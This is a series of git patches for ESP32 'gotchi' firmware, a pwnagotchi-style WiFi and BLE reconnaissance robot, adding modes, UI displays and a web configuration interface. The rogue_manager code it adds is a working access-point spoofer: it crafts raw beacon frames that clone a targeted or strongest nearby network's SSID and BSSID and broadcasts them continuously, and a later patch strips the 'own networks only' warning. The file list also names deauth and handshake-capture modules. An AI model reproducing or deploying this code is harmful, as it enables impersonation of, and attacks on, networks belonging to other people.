{0x00, 0x66, 0xFF}, getScoutNeon, nullptr}, {Mode::HUNT, "HUNT", Mood::FOCUSED, true, false, true, false, false, 1.0f, 200, true, true, - Mode::WARDIVE, Mode::SCOUT, 600, 800, 4, + Mode::WARDIVE, Mode::SCOUT, 600, 800, 0, 0, 200, 4, true, 4000, 2, {0x00, 0xFF, 0x00}, getHuntNeon, nullptr}, {Mode::WARDIVE, "WARDIVE", Mood::EXCITED, true, false, true, false, false, 1.5f, 200, false, true, - Mode::SPECTRUM, Mode::HUNT, 1000, 600, 2, + Mode::SPECTRUM, Mode::HUNT, 1000, 600, 1, 300, 200, 2, true, 5000, 1, {0xFF, 0x66, 0x00}, getWardiveNeon, nullptr}, {Mode::SPECTRUM, "SPECTRUM", Mood::FOCUSED, true, false, true, false, false, 1.2f, 200, false, true, - Mode::BLE_SCAN, Mode::WARDIVE, 1200, 1000, 4, + Mode::BLE_SCAN, Mode::WARDIVE, 1200, 1000, 2, 150, 200, 4, true, 5000, 2, {0xFF, 0x00, 0xFF}, getSpectrumNeon, nullptr}, {Mode::BLE_SCAN, "BLE_SCAN", Mood::FOCUSED, false, true, false, false, false, 1.0f, 0, false, false, - Mode::ROGUE, Mode::SPECTRUM, 0, 600, 4, + Mode::ROGUE, Mode::SPECTRUM, 0, 600, 0, 0, 200, 4, true, 6000, 3, {0x00, 0x88, 0xFF}, getBleScanNeon, nullptr}, {Mode::ROGUE, "ROGUE", Mood::EXCITED, true, false, false, true, false, 1.0f, 0, false, false, - Mode::STATS, Mode::BLE_SCAN, 350, 500, 2, + Mode::STATS, Mode::BLE_SCAN, 350, 500, 3, 120, 200, 2, true, 3000, 1, {0xAA, 0x00, 0xFF}, getRogueNeon, nullptr}, {Mode::CONFIG, "CONFIG", Mood::NEUTRAL, true, false, false, false, true, 0.0f, 0, false, false, - Mode::SCOUT, Mode::SCOUT, 0, 3000, 0, + Mode::SCOUT, Mode::SCOUT, 0, 3000, 0, 0, 200, 0, false, 0, 0, {0xFF, 0xAA, 0x00}, getConfigNeon, nullptr}, {Mode::STATS, "STATS", Mood::HAPPY, false, false, false, false, false, 0.0f, 0, false, false, - Mode::IDLE, Mode::ROGUE, 0, 2000, 1, + Mode::IDLE, Mode::ROGUE, 0, 2000, 0, 0, 200, 1, false, 0, 0, {0xAA, 0xFF, 0xFF}, getStatsNeon, nullptr}, }; diff --git a/firmware/main/gotchi/mode.h b/firmware/main/gotchi/mode.h index 0d1ac40..e1e6f2c 100644 --- a/firmware/main/gotchi/mode.h +++ b/firmware/main/gotchi/mode.h @@ -35,7 +35,13 @@ struct ModeInfo { Mode prevMode; uint32_t toneFreq; uint32_t headMoveIntervalMs; + int headYawPattern; + int16_t headYawRange; + int16_t headPitch; int avatarEmotion; + bool enableDialogue; + uint32_t dialogueIntervalMs; + int dialogueCategory; NeonColor defaultNeon; NeonColorCallback getDynamicNeon; ModeEnterCallback onEnter; @@ -53,5 +59,19 @@ void onModeEnter(Mode mode); inline int getModeAvatarEmotion(Mode mode) { return getModeInfo(mode).avatarEmotion; } inline uint32_t getModeHeadMoveInterval(Mode mode) { return getModeInfo(mode).headMoveIntervalMs; } +inline int16_t getModeHeadPitch(Mode mode) { return getModeInfo(mode).headPitch; } +inline bool isDialogueEnabled(Mode mode) { return getModeInfo(mode).enableDialogue; } +inline uint32_t getModeDialogueInterval(Mode mode) { return getModeInfo(mode).dialogueIntervalMs; } +inline int getModeDialogueCategory(Mode mode) { return getModeInfo(mode).dialogueCategory; } + +inline int16_t getModeHeadYaw(Mode mode, uint32_t now, uint32_t interval) { + const ModeInfo& mi = getModeInfo(mode); + switch (mi.headYawPattern) { + case 1: return (now / interval) % 2 ? mi.headYawRange : -mi.headYawRange; + case 2: return (int16_t)((now / interval) % 6 - 3) * (mi.headYawRange / 3); + case 3: return (int16_t)((now / 250 % 4) - 2) * (mi.headYawRange / 3); + default: return 0; + } +} } \ No newline at end of file diff --git a/firmware/main/gotchi/rogue_manager.cpp b/firmware/main/gotchi/rogue_manager.cpp new file mode 100644 index 0000000..5d6bda5 --- /dev/null +++ b/firmware/main/gotchi/rogue_manager.cpp @@ -0,0 +1,225 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "rogue_manager.h" +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi_rogue"; + +namespace gotchi { + +static RogueManager* _instance = nullptr; + +RogueManager& getRogueManager() { + if (!_instance) { + _instance = new RogueManager(); + } + return *_instance; +} + +RogueManager::RogueManager() + : _taskHandle(nullptr) + , _beaconSpamming(false) + , _autoMode(true) { + memset(&_target, 0, sizeof(_target)); + _target.valid = false; + _target.channel = 6; +} + +RogueManager::~RogueManager() { + stop(); +} + +void RogueManager::setTargetNetwork(const char* ssid, const uint8_t* bssid, uint8_t channel) { + memset(&_target, 0, sizeof(_target)); + if (ssid) { + strncpy(_target.ssid, ssid, sizeof(_target.ssid) - 1); + } + if (bssid) { + memcpy(_target.bssid, bssid, 6); + } + _target.channel = channel > 0 ? channel : 6; + _target.valid = true; + _autoMode = false; + + ESP_LOGI(TAG, "Target set: %s (ch:%d)", _target.ssid, _target.channel); + for (int i = 0; i < 6; i++) { + printf("%02X", _target.bssid[i]); + if (i < 5) printf(":"); + } + printf("\n"); +} + +void RogueManager::autoSelectStrongest(const std::vector& networks) { + if (networks.empty()) { + ESP_LOGW(TAG, "No networks to select from"); + _target.valid = false; + return; + } + + int8_t bestRssi = -100; + const NetworkInfo* best = nullptr; + + for (const auto& net : networks) { + if (net.rssi > bestRssi) { + bestRssi = net.rssi; + best = &net; + } + } + + if (best) { + setTargetNetwork(best->ssid, best->bssid, best->channel); + _autoMode = true; + ESP_LOGI(TAG, "Auto-selected strongest: %s (RSSI:%d, ch:%d)", + _target.ssid, bestRssi, _target.channel); + } +} + +void RogueManager::loadFromNVS() { + nvs_handle_t nvs; + if (nvs_open("rogue", NVS_READONLY, &nvs) == ESP_OK) { + char ssid[33] = {0}; + uint8_t bssid[6] = {0}; + uint8_t channel = 6; + uint8_t autoVal = 1; + + size_t len = sizeof(ssid); + if (nvs_get_str(nvs, "ssid", ssid, &len) == ESP_OK) { + size_t bssidLen = sizeof(bssid); + nvs_get_blob(nvs, "bssid", bssid, &bssidLen); + nvs_get_u8(nvs, "channel", &channel); + nvs_get_u8(nvs, "auto", &autoVal); + _autoMode = (autoVal != 0); + setTargetNetwork(ssid, bssid, channel); + ESP_LOGI(TAG, "Loaded from NVS: %s (ch:%d, auto:%d)", ssid, channel, _autoMode); + } + nvs_close(nvs); + } +} + +void RogueManager::saveToNVS() { + if (!_target.valid) return; + + nvs_handle_t nvs; + if (nvs_open("rogue", NVS_READWRITE, &nvs) == ESP_OK) { + nvs_set_str(nvs, "ssid", _target.ssid); + nvs_set_blob(nvs, "bssid", _target.bssid, 6); + nvs_set_u8(nvs, "channel", _target.channel); + nvs_set_u8(nvs, "auto", _autoMode ? 1 : 0); + nvs_commit(nvs); + nvs_close(nvs); + ESP_LOGI(TAG, "Saved to NVS: %s", _target.ssid); + } +} + +void RogueManager::sendBeaconFrame() { + if (!_target.valid) return; + + uint8_t beacon[128]; + memset(beacon, 0, sizeof(beacon)); + + // Beacon frame header + beacon[0] = 0x80; // Beacon frame + beacon[1] = 0x00; + beacon[2] = 0x00; + beacon[3] = 0x00; + + // Broadcast destination + memset(&beacon[4], 0xFF, 6); + + // Source BSSID (our fake AP) + memcpy(&beacon[10], _target.bssid, 6); + + // BSSID + memcpy(&beacon[16], _target.bssid, 6); + + // Sequence + beacon[18] = 0x00; + beacon[19] = 0x00; + + // Timestamp + uint64_t timestamp = GetHAL().millis() * 1000; + for (int i = 0; i < 8; i++) { + beacon[20 + i] = (timestamp >> (i * 8)) & 0xFF; + } + + // Beacon interval + capability + beacon[28] = 0x64; // 100 TU + beacon[29] = 0x00; + + // SSID tag + beacon[30] = 0x00; // SSID + beacon[31] = strlen(_target.ssid); + memcpy(&beacon[32], _target.ssid, strlen(_target.ssid)); + + uint32_t pos = 32 + strlen(_target.ssid); + + // Supported rates + beacon[pos++] = 0x01; // Supported rates + beacon[pos++] = 4; + beacon[pos++] = 0x82; + beacon[pos++] = 0x84; + beacon[pos++] = 0x8B; + beacon[pos++] = 0x96; + + // DS Parameter set (channel) + beacon[pos++] = 0x03; // DS Parameter set + beacon[pos++] = 1; + beacon[pos++] = _target.channel; + + esp_wifi_80211_tx(WIFI_IF_AP, beacon, pos, false); +} + +void RogueManager::start() { + if (_beaconSpamming) return; + + ESP_LOGI(TAG, "Starting Rogue mode"); + + _beaconSpamming = true; + xTaskCreate(beaconTask, "rogue_task", 4096, this, 5, &_taskHandle); +} + +void RogueManager::stop() { + if (!_beaconSpamming) return; + + ESP_LOGI(TAG, "Stopping Rogue mode"); + _beaconSpamming = false; + + if (_taskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _taskHandle = nullptr; + } +} + +void RogueManager::beaconTask(void* param) { + RogueManager* self = (RogueManager*)param; + ESP_LOGI(TAG, "Rogue beacon task started"); + + uint32_t beaconCount = 0; + uint32_t lastLog = GetHAL().millis(); + + while (self->_beaconSpamming) { + if (self->_target.valid) { + self->sendBeaconFrame(); + beaconCount++; + } + + vTaskDelay(pdMS_TO_TICKS(50)); // 50ms between beacons + + if (GetHAL().millis() - lastLog > 5000) { + ESP_LOGI(TAG, "Beacons sent: %u, target: %s (ch:%d)", + beaconCount, self->_target.ssid, self->_target.channel); + lastLog = GetHAL().millis(); + } + } + + ESP_LOGI(TAG, "Rogue stopped, sent %u beacons", beaconCount); + vTaskDelete(NULL); +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/rogue_manager.h b/firmware/main/gotchi/rogue_manager.h new file mode 100644 index 0000000..04ecc41 --- /dev/null +++ b/firmware/main/gotchi/rogue_manager.h @@ -0,0 +1,52 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +struct RogueTarget { + char ssid[33]; + uint8_t bssid[6]; + uint8_t channel; + int8_t rssi; + bool valid; +}; + +class RogueManager { +public: + RogueManager(); + ~RogueManager(); + + void start(); + void stop(); + bool isActive() const { return _beaconSpamming; } + + void setTargetNetwork(const char* ssid, const uint8_t* bssid, uint8_t channel); + void autoSelectStrongest(const std::vector& networks); + void setAutoMode(bool autoMode) { _autoMode = autoMode; } + bool isAutoMode() const { return _autoMode; } + + const RogueTarget& getTarget() const { return _target; } + const char* getTargetSSID() const { return _target.valid ? _target.ssid : "None"; } + uint8_t getTargetChannel() const { return _target.channel; } + + void loadFromNVS(); + void saveToNVS(); + +private: + void sendBeaconFrame(); + static void beaconTask(void* param); + + TaskHandle_t _taskHandle; + bool _beaconSpamming; + RogueTarget _target; + bool _autoMode; +}; + +RogueManager& getRogueManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/web_manager.cpp b/firmware/main/gotchi/web_manager.cpp index 8dac4a2..4b13a2c 100644 --- a/firmware/main/gotchi/web_manager.cpp +++ b/firmware/main/gotchi/web_manager.cpp @@ -9,6 +9,7 @@ #include #include "gotchi.h" #include "storage.h" +#include "rogue_manager.h" static const char* TAG = "gotchi_web"; @@ -38,6 +39,8 @@ void WebManager::start() { httpd_uri_t apiConfigPostUri = {"/api/config", HTTP_POST, apiConfigHandler, nullptr}; httpd_uri_t apiStatsUri = {"/api/stats", HTTP_GET, apiStatsHandler, nullptr}; httpd_uri_t apiRogueUri = {"/api/rogue", HTTP_POST, apiRogueHandler, nullptr}; + httpd_uri_t apiRogueNetworksUri = {"/api/rogue/networks", HTTP_GET, apiRogueNetworksHandler, nullptr}; + httpd_uri_t apiRogueSetUri = {"/api/rogue/set", HTTP_POST, apiRogueSetTargetHandler, nullptr}; httpd_uri_t apiFilesUri = {"/api/files", HTTP_GET, apiFilesHandler, nullptr}; httpd_uri_t apiWigleUri = {"/api/wigle", HTTP_POST, apiWigleHandler, nullptr}; httpd_uri_t apiPwnUri = {"/api/pwnagotchi", HTTP_POST, apiPwnagotchiHandler, nullptr}; @@ -48,6 +51,8 @@ void WebManager::start() { httpd_register_uri_handler(_server, &apiConfigPostUri); httpd_register_uri_handler(_server, &apiStatsUri); httpd_register_uri_handler(_server, &apiRogueUri); + httpd_register_uri_handler(_server, &apiRogueNetworksUri); + httpd_register_uri_handler(_server, &apiRogueSetUri); httpd_register_uri_handler(_server, &apiFilesUri); httpd_register_uri_handler(_server, &apiWigleUri); httpd_register_uri_handler(_server, &apiPwnUri); @@ -135,6 +140,13 @@ th{color:#00ff88} +
+

Rogue Target Network

+ + + +

Select from discovered networks to target in ROGUE mode

+
@@ -191,6 +203,18 @@ function saveConfig(){ .catch(function(e){showMessage('Error: '+e,true)}); } function stopRogue(){fetch('/api/rogue',{method:'POST'}).then(function(){showMessage('Rogue stopped',false)}).catch(function(){});} +function loadRogueNetworks(){fetch('/api/rogue/networks').then(function(r){return r.json()}).then(function(d){ + var sel=document.getElementById('rogueNetwork');sel.innerHTML=''; + d.networks.forEach(function(n){var opt=document.createElement('option'); + opt.value=n.ssid+'|'+n.bssid+'|'+n.channel;opt.textContent=n.ssid+' (CH'+n.channel+', '+n.rssi+'dBm)'; + sel.appendChild(opt);}); + showMessage('Loaded '+d.networks.length+' networks',false); +}).catch(function(e){showMessage('Failed to load networks',true);});} +function setRogueTarget(){var sel=document.getElementById('rogueNetwork');var v=sel.value; + if(!v){showMessage('Select a network first',true);return;} + var parts=v.split('|');var params='ssid='+encodeURIComponent(parts[0])+'&bssid='+parts[1]+'&channel='+parts[2]; + fetch('/api/rogue/set',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:params}) + .then(function(r){return r.json()}).then(function(d){showMessage('Target: '+d.ssid+' CH'+d.channel,false);}).catch(function(e){showMessage('Failed to set target',true);});} function restartAP(){location.reload();} function updateStats(){ fetch('/api/stats').then(function(r){return r.json()}).then(function(d){ @@ -323,11 +347,83 @@ esp_err_t WebManager::apiStatsHandler(httpd_req_t* req) { } esp_err_t WebManager::apiRogueHandler(httpd_req_t* req) { - // Stop rogue mode - stopRogue(); + if (req->method == HTTP_POST) { + stopRogue(); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"stopped\"}", 18); + } + return ESP_OK; +} + +esp_err_t WebManager::apiRogueNetworksHandler(httpd_req_t* req) { + auto networks = getNetworks(); + char json[2048]; + int offset = 0; + + offset += snprintf(json + offset, sizeof(json) - offset, "{\"networks\":["); + + for (size_t i = 0; i < networks.size() && i < 20; i++) { + const auto& net = networks[i]; + char bssid[18]; + snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X", + net.bssid[0], net.bssid[1], net.bssid[2], + net.bssid[3], net.bssid[4], net.bssid[5]); + + offset += snprintf(json + offset, sizeof(json) - offset, + "%s{\"ssid\":\"%s\",\"bssid\":\"%s\",\"channel\":%d,\"rssi\":%d}", + (i > 0) ? "," : "", + net.ssid[0] ? net.ssid : "(hidden)", + bssid, net.channel, net.rssi); + } + + offset += snprintf(json + offset, sizeof(json) - offset, "],\"count\":%zu}", networks.size()); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +esp_err_t WebManager::apiRogueSetTargetHandler(httpd_req_t* req) { + char content[256]; + int ret = httpd_req_recv(req, content, sizeof(content) - 1); + if (ret <= 0) { + httpd_resp_set_status(req, "400 Bad Request"); + httpd_resp_send(req, "{\"error\":\"no_data\"}", 17); + return ESP_FAIL; + } + content[ret] = '\0'; + char ssid[33] = {0}; + char bssidStr[18] = {0}; + uint8_t channel = 6; + + char* p = content; + while (*p) { + if (strncmp(p, "ssid=", 5) == 0) { + strncpy(ssid, p + 5, sizeof(ssid) - 1); + } else if (strncmp(p, "bssid=", 6) == 0) { + strncpy(bssidStr, p + 6, sizeof(bssidStr) - 1); + } else if (strncmp(p, "channel=", 8) == 0) { + channel = atoi(p + 8); + } + while (*p && *p != '&') p++; + if (*p == '&') p++; + } + + uint8_t bssid[6] = {0}; + if (strlen(bssidStr) == 17) { + sscanf(bssidStr, "%02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX", + &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]); + } + + RogueManager& rogue = getRogueManager(); + rogue.setTargetNetwork(ssid, bssid, channel); + rogue.saveToNVS(); + + char json[128]; + snprintf(json, sizeof(json), "{\"status\":\"ok\",\"ssid\":\"%s\",\"channel\":%d}", ssid, channel); httpd_resp_set_type(req, "application/json"); - httpd_resp_send(req, "{\"status\":\"stopped\"}", 18); + httpd_resp_send(req, json, strlen(json)); return ESP_OK; } diff --git a/firmware/main/gotchi/web_manager.h b/firmware/main/gotchi/web_manager.h index 5205020..32b1db8 100644 --- a/firmware/main/gotchi/web_manager.h +++ b/firmware/main/gotchi/web_manager.h @@ -30,6 +30,8 @@ class WebManager { static esp_err_t apiConfigHandler(httpd_req_t* req); static esp_err_t apiStatsHandler(httpd_req_t* req); static esp_err_t apiRogueHandler(httpd_req_t* req); + static esp_err_t apiRogueNetworksHandler(httpd_req_t* req); + static esp_err_t apiRogueSetTargetHandler(httpd_req_t* req); static esp_err_t apiFilesHandler(httpd_req_t* req); static esp_err_t apiWigleHandler(httpd_req_t* req); static esp_err_t apiPwnagotchiHandler(httpd_req_t* req); From 90e1ee9c56506eee3a3bdfbc7594b806c3b70d64 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 21:07:11 +0100 Subject: [PATCH 09/17] bad ai --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index a5abc9a..df020f9 100644 --- a/README.md +++ b/README.md @@ -16,8 +16,8 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo **Inspiration**: - [pwnagotchi] (https://github.com/evilsocket/pwnagotchi) - the original security "gotchi" for rPi -- [M5PORKCHOP](https://github.com/M-Tech-Innovation/M5PORKCHOP) - Gamification, XP system, multiple modes, personality -- [M5Gotchi](https://github.com/xenon-mastodon/M5Gotchi) - Pwnagotchi UI, auto mode, web interface +- [M5PORKCHOP](https://github.com/0ct0sec/M5PORKCHOP) - Gamification, XP system, multiple modes, personality +- [M5Gotchi](https://github.com/Devsur11/M5Gotchi) - Pwnagotchi UI, auto mode, web interface --- From 4b0723e1cb312347cc30e6c20220211ad6a73419 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 23:41:39 +0100 Subject: [PATCH 10/17] OOP refactoring: Add manager classes and UI improvements - Add 6 new manager classes for clean OOP architecture: - NetworkDatabase: Network/handshake/BLE storage - HandshakeParser: EAPOL 4-way handshake parsing - WifiScanner: WiFi promiscuous mode + channel hopping - DeauthManager: Deauth frame sending - BLEScanner: BLE GAP scanning - ModeManager: Mode state machine - Complete UI overhaul with box-style headers and grid displays: - All 9 modes now have colored header boxes with dynamic data - SCOUT/HUNT: Show top 3 networks by signal strength - WARDIVE: Signal distribution boxes (Strong/Medium/Weak) - BLE_SCAN: Formatted device list with full MAC addresses - SPECTRUM: 14-channel heatmap - STATS: Full-screen stats display - ROGUE: Enhanced display with target info + warnings - IDLE: Rest state UI - CONFIG: Config mode instructions - Enable dialogue for all modes (was disabled for some) - Fix SCOUT mode to use sniff mode (was using single scan) - gotchi.cpp reduced from ~1325 to ~335 lines - README updated with new file structure --- README.md | 14 +- firmware/main/apps/app_gotchi/app_gotchi.cpp | 738 ++++++++++- firmware/main/apps/app_gotchi/app_gotchi.h | 45 + firmware/main/gotchi/achievement_system.cpp | 6 + firmware/main/gotchi/achievement_system.h | 2 + firmware/main/gotchi/ble_scanner.cpp | 126 ++ firmware/main/gotchi/ble_scanner.h | 29 + firmware/main/gotchi/deauth_manager.cpp | 119 ++ firmware/main/gotchi/deauth_manager.h | 34 + firmware/main/gotchi/gotchi.cpp | 1188 ++---------------- firmware/main/gotchi/handshake_parser.cpp | 157 +++ firmware/main/gotchi/handshake_parser.h | 56 + firmware/main/gotchi/mode.cpp | 36 +- firmware/main/gotchi/mode_manager.cpp | 307 +++++ firmware/main/gotchi/mode_manager.h | 51 + firmware/main/gotchi/network_db.cpp | 201 +++ firmware/main/gotchi/network_db.h | 62 + firmware/main/gotchi/wifi_scanner.cpp | 256 ++++ firmware/main/gotchi/wifi_scanner.h | 52 + firmware/main/gotchi/xp_system.cpp | 6 + firmware/main/gotchi/xp_system.h | 2 + 21 files changed, 2328 insertions(+), 1159 deletions(-) create mode 100644 firmware/main/gotchi/ble_scanner.cpp create mode 100644 firmware/main/gotchi/ble_scanner.h create mode 100644 firmware/main/gotchi/deauth_manager.cpp create mode 100644 firmware/main/gotchi/deauth_manager.h create mode 100644 firmware/main/gotchi/handshake_parser.cpp create mode 100644 firmware/main/gotchi/handshake_parser.h create mode 100644 firmware/main/gotchi/mode_manager.cpp create mode 100644 firmware/main/gotchi/mode_manager.h create mode 100644 firmware/main/gotchi/network_db.cpp create mode 100644 firmware/main/gotchi/network_db.h create mode 100644 firmware/main/gotchi/wifi_scanner.cpp create mode 100644 firmware/main/gotchi/wifi_scanner.h diff --git a/README.md b/README.md index df020f9..fffa1ae 100644 --- a/README.md +++ b/README.md @@ -107,7 +107,19 @@ idf.py -p COM8 flash monitor ``` firmware/main/ ├── apps/app_gotchi/ - Main UI and mode handling -├── gotchi/ - Core scanning logic, XP system, GPS, storage +├── gotchi/ - Core scanning logic (OOP refactored) +│ ├── gotchi.cpp/h - Core API (335 lines) +│ ├── mode_manager.cpp/h - Mode state machine +│ ├── wifi_scanner.cpp/h - WiFi promiscuous + hopping +│ ├── handshake_parser.cpp/h - EAPOL parsing +│ ├── deauth_manager.cpp/h - Deauth attack logic +│ ├── ble_scanner.cpp/h - BLE GAP scanning +│ ├── network_db.cpp/h - Network/handshake/BLE storage +│ ├── xp_system.cpp/h - XP/level progression +│ ├── achievement_system.cpp/h - Achievements & challenges +│ ├── gps.cpp/h - GPS NMEA parsing +│ ├── rogue_manager.cpp/h - ROGUE mode beacon spam +│ └── web_manager.cpp/h - CONFIG mode HTTP server └── hal/board/ - StackChan board initialization ``` diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index f8eed5f..a463c1b 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -6,6 +6,7 @@ #include #include #include +#include #include #include #include @@ -556,42 +557,215 @@ void AppGotchi::renderUI() { stats.currentChannel, (int)stats.level, progress); } } - // ROGUE mode - show educational warning + + // Cleanup all grid labels when leaving their respective modes + if (_spectrumLabelsCreated && _currentMode != gotchi::Mode::SPECTRUM) { + destroySpectrumLabels(); + } + if (_networkBarsCreated && _currentMode != gotchi::Mode::SCOUT && _currentMode != gotchi::Mode::HUNT) { + destroyNetworkBars(); + } + if (_signalBarsCreated && _currentMode != gotchi::Mode::WARDIVE) { + destroySignalBars(); + } + if (_bleLabelsCreated && _currentMode != gotchi::Mode::BLE_SCAN) { + destroyBLELabels(); + } + if (_headerBoxesCreated) { + destroyHeaderBoxes(); + } + + // Create and update header boxes for all modes + createHeaderBoxes(); + updateHeaderBoxes(); + + // Hide old stats label since we're using header boxes now + _statsLabel->setSize(0, 0); + _statsLabel->setText(""); + + // IDLE mode - rest state with clean UI + if (_currentMode == gotchi::Mode::IDLE) { + // Header boxes already created/updated above + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); // Dark green bg + _networkListLabel->setTextColor(lv_color_hex(0x66FF66)); // Green text + _networkListLabel->setText("Robot is at rest."); + return; + } + // SCOUT mode - passive scanning (blue theme) + else if (_currentMode == gotchi::Mode::SCOUT) { + _networkListLabel->setSize(300, 60); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x000D22)); // Dark blue bg + _networkListLabel->setTextColor(lv_color_hex(0x66AAFF)); // Blue text + + // Show top 3 networks by signal strength + char netList[200] = {0}; + int count = 0; + bool isNew = (networks.size() > _lastNetworkCount); + + // Sort by signal strength (highest first) + std::vector sorted = networks; + std::sort(sorted.begin(), sorted.end(), [](const gotchi::NetworkInfo& a, const gotchi::NetworkInfo& b) { + return a.rssi > b.rssi; + }); + + for (const auto& net : sorted) { + if (count >= 3) break; + char line[64]; + const char* newStr = (count == 0 && isNew) ? " NEW" : ""; + snprintf(line, sizeof(line), "%-12s %4ddBm CH%d%s\n", + net.ssid, (int)net.rssi, net.channel, newStr); + strncat(netList, line, sizeof(netList) - strlen(netList) - 1); + count++; + } + if (networks.empty()) { + snprintf(netList, sizeof(netList), "Scanning...\n"); + } + _networkListLabel->setText(netList); + + _lastNetworkCount = networks.size(); + return; + } + // HUNT mode - active scanning (green theme with action) + else if (_currentMode == gotchi::Mode::HUNT) { + _networkListLabel->setSize(300, 60); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001A00)); // Dark green bg + _networkListLabel->setTextColor(lv_color_hex(0x66FF66)); // Green text + + // Show top 3 networks by signal strength + char netList[200] = {0}; + int count = 0; + bool isNew = (networks.size() > _lastNetworkCount); + + std::vector sorted = networks; + std::sort(sorted.begin(), sorted.end(), [](const gotchi::NetworkInfo& a, const gotchi::NetworkInfo& b) { + return a.rssi > b.rssi; + }); + + for (const auto& net : sorted) { + if (count >= 3) break; + char line[64]; + const char* newStr = (count == 0 && isNew) ? " NEW" : ""; + snprintf(line, sizeof(line), "%-12s %4ddBm CH%d%s\n", + net.ssid, (int)net.rssi, net.channel, newStr); + strncat(netList, line, sizeof(netList) - strlen(netList) - 1); + count++; + } + if (networks.empty()) { + snprintf(netList, sizeof(netList), "Scanning...\n"); + } + _networkListLabel->setText(netList); + + _lastNetworkCount = networks.size(); + return; + } + // WARDIVE mode - GPS wardriving (orange theme) + else if (_currentMode == gotchi::Mode::WARDIVE) { + _networkListLabel->setSize(300, 110); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x221100)); // Dark orange bg + _networkListLabel->setTextColor(lv_color_hex(0xFFaa44)); // Orange text + + createSignalBars(); + updateSignalBars(); + _networkListLabel->setText(""); + return; + } + // BLE_SCAN mode - formatted device list + else if (_currentMode == gotchi::Mode::BLE_SCAN) { + _networkListLabel->setSize(300, 70); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001522)); // Dark cyan bg + _networkListLabel->setTextColor(lv_color_hex(0x44DDDD)); // Cyan text + + // Show top 5 devices by signal strength with full MAC + auto devices = gotchi::getBLEDevices(); + char bleList[300] = {0}; + int count = 0; + + // Sort by signal strength (strongest first) + std::vector sorted = devices; + std::sort(sorted.begin(), sorted.end(), [](const gotchi::BLEDeviceInfo& a, const gotchi::BLEDeviceInfo& b) { + return a.rssi > b.rssi; + }); + + strncat(bleList, "Device Name MAC Address Signal\n", sizeof(bleList) - 1); + strncat(bleList, "------------------------------------------\n", sizeof(bleList) - 1); + + for (const auto& dev : sorted) { + if (count >= 5) break; + char line[48]; + char macStr[18]; + snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X", + dev.mac[0], dev.mac[1], dev.mac[2], dev.mac[3], dev.mac[4], dev.mac[5]); + snprintf(line, sizeof(line), "%-14s %-17s %ddBm\n", + dev.name, macStr, (int)dev.rssi); + strncat(bleList, line, sizeof(bleList) - strlen(bleList) - 1); + count++; + } + if (devices.empty()) { + strncat(bleList, "Scanning for BLE devices...\n", sizeof(bleList) - 1); + } + _networkListLabel->setText(bleList); + return; + } + // SPECTRUM mode - channel analysis (purple theme with heatmap) + else if (_currentMode == gotchi::Mode::SPECTRUM) { + _networkListLabel->setSize(300, 110); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x150022)); // Dark purple bg + _networkListLabel->setTextColor(lv_color_hex(0xDD66DD)); // Purple text + + createSpectrumLabels(); + updateSpectrumLabels(); + _networkListLabel->setText(""); + return; + } + // ROGUE mode - enhanced display with real data else if (_currentMode == gotchi::Mode::ROGUE) { - _statsLabel->setBgColor(lv_color_hex(0x332200)); // Dark orange background - _statsLabel->setTextColor(lv_color_hex(0xFFCC88)); // Light orange text + _networkListLabel->setSize(320, 180); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); + _networkListLabel->setBgColor(lv_color_hex(0x1A0A00)); // Dark orange bg + _networkListLabel->setTextColor(lv_color_hex(0xFFCC66)); // Orange text - snprintf(statsText, sizeof(statsText), - "ROGUE MODE!\n" - "Educational Only!\n" - "Use on OWN networks only!"); - _statsLabel->setText(statsText); - - // Show warning in network list area - _networkListLabel->setBgColor(lv_color_hex(0x221100)); - _networkListLabel->setTextColor(lv_color_hex(0xFFAA66)); - _networkListLabel->setText("Broadcasting fake APs...\n" - "Creates rogue access points.\n" - "FOR EDUCATIONAL USE ONLY!\n" - "Demonstrates rogue AP attacks."); + // Get real data from rogue manager + auto& rogue = gotchi::getRogueManager(); + const char* targetSSID = rogue.getTargetSSID(); + uint8_t targetCh = rogue.getTargetChannel(); + bool isRunning = rogue.isActive(); + + char rogueDisplay[400]; + const char* statusStr = isRunning ? "● Broadcasting" : "○ Stopped"; + + snprintf(rogueDisplay, sizeof(rogueDisplay), + "═══════════════════════════════════════════\n" 